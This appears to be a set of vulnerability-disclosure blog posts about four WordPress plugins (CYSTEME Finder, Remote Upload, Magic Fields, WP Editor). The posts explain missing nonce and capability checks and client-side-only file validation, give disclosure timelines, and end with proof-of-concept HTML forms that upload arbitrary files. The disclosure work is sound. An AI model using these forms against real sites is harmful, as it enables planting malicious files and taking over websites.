14 Sep

Cross-Site Request Forgery (CSRF)/Arbitrary File Upload Vulnerability in CYSTEME Finder

Certain types of plugins are inherently more of a security concern because their intended functionality involves actions that hackers frequently attempt to exploit, so if something is wrong with their security it is likely the plugin will be exploited. That doesn’t mean that people developing them are going to be very careful in coding them or that the public using them is going to do any checking, as can be seen with the plugin CYSTEME Finder. The plugin, which has 7,000+ active installs according to wordpress.org, provides a file manger in WordPress, which allows uploading files and viewing the content of files. We see vulnerabilities in those two types of functionality frequently targeted by hackers, with vulnerabilities in upload functionality much more likely to successfully exploited and leading to a website being hacked.

Recently someone under the handle T0w3ntum looked at the plugin and found that it contained arbitrary file upload and arbitrary file viewing vulnerabilities, as of version 1.3. The vulnerabilities existed due to the plugin not making properly restricting access to the upload and file viewing functionality. In looking over the changes made to fix those in version 1.4, we were troubled by the odd choice of security code and found an additional vulnerability. In the changelog entry for 1.4 sates that the was a security fix involving “use of PHP session rather than REQUEST vars”. That didn’t sound like the type of change we would expect to fix this type of vulnerability in a WordPress plugin. Looking at the changes made it didn’t change our view. Instead of checking that requests to the plugin are made by someone who should be able to, by using WordPress functions, they are checking a PHP session. While it looks to have fix the vulnerabilities, not using the WordPress functionality specifically designed for this, would make of us wary of using such a plugin.

In looking over that we noticed that there they were missing protection against cross-site request forgery (CSRF). So if you could get a logged in administrator to access a page you control you could cause them to upload an arbitrary file.

Requests to upload a file are handle through the file /php/connector.php. That file doesn’t perform any nonce checks before sending the request to the function run() in the file /php/elFinderConnector.class.php. From there the request is sent to the function upload() in the file  /php/elFinder.class.php, which doesn’t check for a valid nonce before saving the uploaded file to the filesystem.

We notified the developer a week ago but have not heard back from them and the vulnerability has not been fixed.

Proof of Concept

The following proof of concept will cause the chosen file to be uploaded to root directory on the website, when logged in as an Administrator. Before that the page /wp-admin/options-general.php?page=cysteme_finder needs to be visited to create a new PHP session.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-content/plugins/cysteme-finder/php/connector.php?wphome=/&wpurl=http://example.com" method="POST" enctype="multipart/form-data">
<input type="hidden" name="cmd" value="upload">
<input type="hidden" name="target" value="l1_Lw">
<input type="file" name="upload[]">
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 9/7/2016 – Developer notified.
  • 9/14/2016 – WordPress.org Plugin Directory notified.
  • 9/15/2016 – Removed from WordPress.org Plugin Directory.
  • 10/3/2016 – Version of 1.5 that resolves issue submitted to Plugin Directory repository.
21 Jun

Cross-Site Request Forgery (CSRF)/Arbitrary File Upload Vulnerability in Remote Upload

For our data set of vulnerabilities we don’t just add any claimed vulnerability, instead we test out each vulnerability before adding it. That requires a lot more time, but it produces much better data for our customers as we find that many vulnerability reports are false, others have incorrect information (including claims that a vulnerability has been fixed when it hasn’t), and we can tell them which versions are vulnerable.

In some cases we find that vulnerability report is false but actually point to real related issue. One such case we just ran into involved a claim that the plugin Remote Upload had an arbitrary file upload vulnerability in version 1.2.1 and below. The problem with this report is that file upload capability of the plugin is limited to Administrator level users and it isn’t really a vulnerability for them to upload arbitrary files based on the capabilities they are granted.

The plugin is described as allowing the upload of  “zip, rar, flv, mp3, mp4, png, gif, jpeg, and pdf files”, so it could have been a bug to not restrict what type of uploads are allowed.

Based on that, that wouldn’t be something we would include in our data. But we thought we should check over the plugin to make sure that there wasn’t something in the code that could have been combined with that to turn this into to a vulnerability.

The plugin handles uploads through the function remote_upload_json(). That functions check to make sure that only Administrator level users are able to access it by checking if the user accessing it has the activate_plugins capability.

63
64
65
if ( !current_user_can( 'activate_plugins' ) )  {
	wp_die( __( 'You do not have sufficient permissions to access this page.' ) );
}

So that would prevent anyone not logged in or logged in as a lower level user from accessing it.

That still leaves the possibility of cross-site request forgery (CSRF) though and that is were we found a vulnerability.

In the first section of code in that function a valid nonce is checked for before running going forward:

68
69
70
71
if(isset($_POST['file_urls']) && ($_POST['file_urls'] != null)){
 
 $nonce = $_REQUEST['_wpnonce'];
 if ( wp_verify_nonce( $nonce, 'remote-upload-nonce')):

The second section of code, which handles that the upload does not:

108
109
110
if(isset($_GET['post_file']) && ($_GET['post_file'] == 'true')){
 
		function is_session_started_for_upload(){

That means that through cross-site request forgery (CSRF) an attacker could cause an admin to upload files to the website. Before the changes in version 1.2.2, arbitrary files could have been uploaded, so fixing that bug for file restriction made the severity of the cross-site request forgery (CSRF) portion of the much lower.

Proof of Concept

The following proof of concept will cause the chosen file to be uploaded to standard upload directory on the website, when logged in as an Administrator.

Make sure to replace “[path to WordPress]” with the location of WordPress and “[file location]” with the location of the file you wish to upload.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/options-general.php?page=remote-upload&post_file=true" method="POST">
<input type="hidden" name="file_urls" value="[file location]" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
31 May

Authenticated Arbitrary File Upload Vulnerability in Magic Fields

In our previous post about an old arbitrary file upload vulnerability in Magic Fields, we mentioned from reviewing that, that we then noticed that another vulnerability existed.

To recap, in version 1.5.6 of Magic Fields code was added to the file/RCCWP_upload_ajax.php that checked if you were logged in and able at least edit posts, which is capability available to Contributor level users and above, before allowing arbitrary files to be uploaded through the file:

if (!(is_user_logged_in() &amp;&amp;
      (current_user_can('edit_posts') || current_user_can('edit_published_pages'))))
	die(__("Authentication failed!",$mf_domain));

Contributor level users should not be able to upload arbitrary files, so that would mean that while unauthenticated users could no longer upload arbitrary files, there was still an authenticated arbitrary files vulnerability. There is also no protection against cross-site request forgery (CSRF) made with that change.

In the next version, 1.5.7,  a check for a nonce was added, which removed the CSRF vulnerability.

$nonce=$_GET['nonce_ajax'];
if (! wp_verify_nonce($nonce, 'once_ajax_uplooad') ){
  $result = array('error' =&gt; 'Sorry, your nonce did not verify.');
  echo htmlspecialchars(json_encode($result), ENT_NOQUOTES);
  die; 
}

At this point whether there is still a vulnerability would depend on how one can gain access to the nonce being used. The nonce is generated in the file /RCCWP_WritePostPage.php:

117
        var nonce_ajax_upload = "<!--?php echo wp_create_nonce('once_ajax_uplooad') ?-->";

That leads to it being included on any write panel generated from the plugin. So as long as a Contributor or higher level user is able access a write panel they can upload arbitrary files.

Lack of Proper File Validation

While being access the file upload capability when you are not intended to able to do that is a concern. The larger issue here is that there are not restrictions on what types of files are uploaded.

When we started looking into this vulnerability we ran across a support forum thread from someone asking about adding another file extension to the allowed extensions for file uploads. The response from the developer is something that would raise the eyes of most anyone who knows much about web security:

Hi, yes, i will add this extension in the next update. you can add for the moment in this file /js/group.js line 527

Since JavaScript files are usually are only used on the client side, this suggests that the file validation is only being done on the client side and that the user doing the upload has control over what files can be uploaded. That turned out to be the case.

The allowed extensions are defined in /js/group.js on line 527 in version 1.6.3.2 of the plugin:

527
          var allowedExtensions = ["pdf", "doc", "xls", "ppt", "txt", "jpeg", "psd", "jpg", "gif", "png", "docx", "pptx", "xslx", "pps", "zip", "gz", "gzip", "mp3", "aac", "mp4", "wav", "wma", "aif", "aiff", "ogg", "flv", "f4v", "mov", "avi", "mkv", "xvid", "divx","gpx"];

The validation of the file is then done in the file /js/valumsfileuploader.js with the function _validateFile():

397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
 _validateFile: function(file){
 var name, size;
 
 if (file.value){
 // it is a file input 
 // get input value and remove path to normalize
 name = file.value.replace(/.*(\/|\\)/, "");
 } else {
 // fix missing properties in Safari
 name = file.fileName != null ? file.fileName : file.name;
 size = file.fileSize != null ? file.fileSize : file.size;
 }
 
 if ( this._isAllowedExtension(name)){ 
 this._error('typeError', name);
 return false;
 
 } else if (size === 0){ 
 this._error('emptyError', name);
 return false;
 
 } else if (size &amp;&amp; this._options.sizeLimit &amp;&amp; size &gt; this._options.sizeLimit){ 
 this._error('sizeError', name);
 return false;
 
 } else if (size &amp;&amp; size &lt; this._options.minSizeLimit){
 this._error('minSizeError', name);
 return false; 
 }
 
 return true; 
 },

That in turns call the function _isAllowedExtension() in the same file:

446
447
448
449
450
451
452
453
454
455
456
457
 _isAllowedExtension: function(fileName){
 var ext = (-1 !== fileName.indexOf('.')) ? fileName.replace(/.*[.]/, '').toLowerCase() : '';
 var allowed = this._options.allowedExtensions;
 
 if (!allowed.length){return true;} 
 
 for (var i=0; i&lt;allowed.length; i++){
 if (allowed[i].toLowerCase() == ext){ return true;} 
 }
 
 return false;
 },

Since that is all running on the client side it can be disabled by a malicious user and therefore they can upload malicious files.

What then was surprising to find out is that there is actually the code needed to validate the file and restrict the allowed extensions on the server side. On the server side the file is uploaded through the file /RCCWP_upload_ajax.php and that has a line to define allowed extensions, but it is empty:

174
175
// list of valid extensions, ex. array("jpeg", "xml", "bmp")
$allowedExtensions = array();

Proof of Concept

Logged in as user that has access to a Magic Fields write panel, view the source code of a write panel page and find the line that begins “var nonce_ajax_upload”. Replace “[nonce value]” in the proof of concept with the value of “nonce_ajax_upload” on that line.

Also, make sure to replace “[path to WordPress]” with the location of WordPress:

<html>
<head>
</head>
<body>
<form action="http://[path to WordPress]/wp-content/plugins/magic-fields/RCCWP_upload_ajax.php?nonce_ajax=[nonce value]" method="post" enctype="multipart/form-data">
<input name="qqfile" type="file" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 5/20/2016 – Notified developer.
  • 5/31/2016 – Notified wordpress.org Plugin Directory.
  • 6/1/2016 – Version 1.7 released (not available on Plugin Directory), which fixes vulnerability.
12 May

Authenticated Arbitrary File Upload Vulnerability in WP Editor

To stay on top of vulnerabilities in WordPress plugin for you, we monitor a number of different sources. One of them is hacking attempts on our websites, which mostly identifies fairly old vulnerabilities that we haven’t yet included in our data. In the case of a one vulnerability from back in 2012 we discovered that the vulnerability had never been fixed and was still in the Plugin Directory. Yesterday that monitoring lead us to seeing evidence that the WP Editor plugin is being exploited and finding a couple of serious vulnerabilities that could be what they are exploiting.

We have started seeing requests for the file /wp-content/plugins/wp-editor/js/wpeditor.js, which based on the files being requested alongside it, looks like the request are to check to see if the plugin is in use and if so then the hacker would likely try to exploit it. Since we don’t have the plugin installed the exploitation attempt didn’t happen, so we don’t know what they are trying to exploit. So then after looking for any public reports of vulnerabilities in the plugin we starting to reviewing the plugin and quickly found a couple of serious security vulnerabilities in the current version of the plugin 1.2.5.3.

The first vulnerability is that any logged in user can upload arbitrary files to the website since there is no check as to the user capabilities when doing that. There is also no protection against cross-site request forgery (CSRF), so it is also susceptible to that.

We notified the Plugin Directory shortly before 5PM MDT yesterday about the appearance hacking attempts and the vulnerabilities we had found. Despite the serious nature, as now we haven’t received any response from them and the plugin is still available in the Plugin Directory, which indicates that they have not processed our message because once that is done they will usually remove the plugin pending a fix.

The plugin hasn’t been updated in 8 months, so it isn’t clear if it still being supported by the developer anymore, but we are in the process of trying to notifying them.

In the meantime we have added the vulnerabilities to our service’s data, so customers will start getting notified when the next check runs. We have also added it to the data in our companion Plugin Vulnerabilities plugin, so even you are not using our service yet you can get alerted to vulnerability.

Proof of Concept

The following proof of concept will upload the chosen file to the root directory of the WordPress installation, when logged in as a subscriber level or higher user.

Make sure to replace “[path to WordPress]” with the location of WordPress:

<html>
<head>
</head>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="action" value="upload_files" />
<input type="hidden" name="current_plugin_root" value="../" />
<input type="hidden" name="directory" value="" />
<input type="file" name="file-0" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

5/11/2016- WordPress.org Plugin Directory notified.
5/12/2016 – Developer notified.
5/13/2016 – Version 1.2.6 released, which fixes vulnerabilities.